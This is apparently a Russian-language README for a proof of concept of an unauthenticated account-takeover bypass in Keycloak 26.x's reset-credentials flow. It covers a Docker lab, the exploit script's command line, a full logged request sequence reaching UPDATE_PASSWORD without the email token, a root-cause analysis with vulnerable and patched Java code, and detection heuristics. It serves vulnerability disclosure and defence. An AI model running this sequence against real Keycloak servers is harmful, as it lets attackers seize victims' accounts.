
PoC, Dockerfile-песочница и первопричина из анализа патч-диффа.
Docker-настройка для тестирования версий Keycloak 26.x, затронутых обходом процесса сброса учётных данных. Включённая лаборатория фиксирует Keycloak 26.6.2, который находится в затронутом диапазоне (>26.0 и <26.7.2).
Требования: Docker, Docker Compose, Python 3. Протестировано с Docker-образом quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
Файл compose запускает Keycloak 26.6.2 с временным администратором admin/admin-password-for-lab. Создайте тестовый realm и пользователя через Admin Console или Admin REST API. Процесс сброса должен быть включён, а встроенное выполнение reset-credential-email должно быть доступно.
Пример ATO:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <известный realm> --username <известная жертва> \
--new-password '<пароль>' \
--allow-loopback-http-cookie --change-password
Опция loopback-cookie существует только для этой HTTP Docker-лаборатории. Успешная проверка / эксплуатация
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Уязвимо: форма обновления пароля достигнута без токена действия email
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Неаутентифицированный захват учётной записи, когда «Забыли пароль» использует уязвимый встроенный процесс сброса учётных данных. Шаг владения email помечается как успешный без потребления его токена действия, продвигая атакующего к UPDATE_PASSWORD.
Сочетаются два дефекта конечного автомата:
tryAnotherWay сохранял AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true как глобальное логическое значение в сессии аутентификации. Оно не было привязано к выполнению, отображавшему селектор, что позволяло устаревшему состоянию селектора влиять на другое выполнение процесса сброса.ResetCredentialEmail.action() принимал любой вызов:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Сконструированная последовательность процесса сброса может манипулировать состоянием селектора/текущего выполнения и вызывать действие email-аутентификатора без клика по ссылке из письма. Keycloak считает шаг email завершённым и открывает выполнение обновления пароля для выбранной жертвы.
Письмо для сброса может всё ещё генерироваться, а SEND_RESET_PASSWORD логироваться. Владение почтовым ящиком или токеном не требуется.
Состояние селектора теперь привязано к точной модели выполнения:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
Заметка удаляется, если она не соответствует CURRENT_AUTHENTICATION_EXECUTION. Что более важно, действие email теперь требует идентичности токена действия, соответствующего пользователю процесса:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services; эксплуатируемое изменение состояния селектора было введено в 26.0.0.reset-credential-email должен быть доступен и привязан. Отключение «Забыли пароль» предотвращает этот путь.Keycloak не имеет однозначного события «токен email пропущен». Сопоставьте тайминги процесса и логи обратного прокси:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD в течение секундtryAnotherWay, непосредственно перед обновлением пароляGET /login-actions/action-token, который генерирует легитимный клик по emailЭто эвристика: пользователь с уже открытым email может сбросить быстро, а отсутствие событий ничего не доказывает там, где логирование/хранение было отключено.
Путаница состояния процесса аутентификации + безусловный успех аутентификатора обходят проверку владения. Общий край тестирования: всякий раз, когда выполнение аутентификации может быть пересмотрено, переключено с помощью «попробовать другой способ» или возобновлено со старого URL, проверяйте, что каждый аутентификатор повторно проверяет своё собственное доказательство, а не доверяет общему состоянию процесса.
Ссылка на патч выше по течению: https://github.com/keycloak/keycloak/pull/51844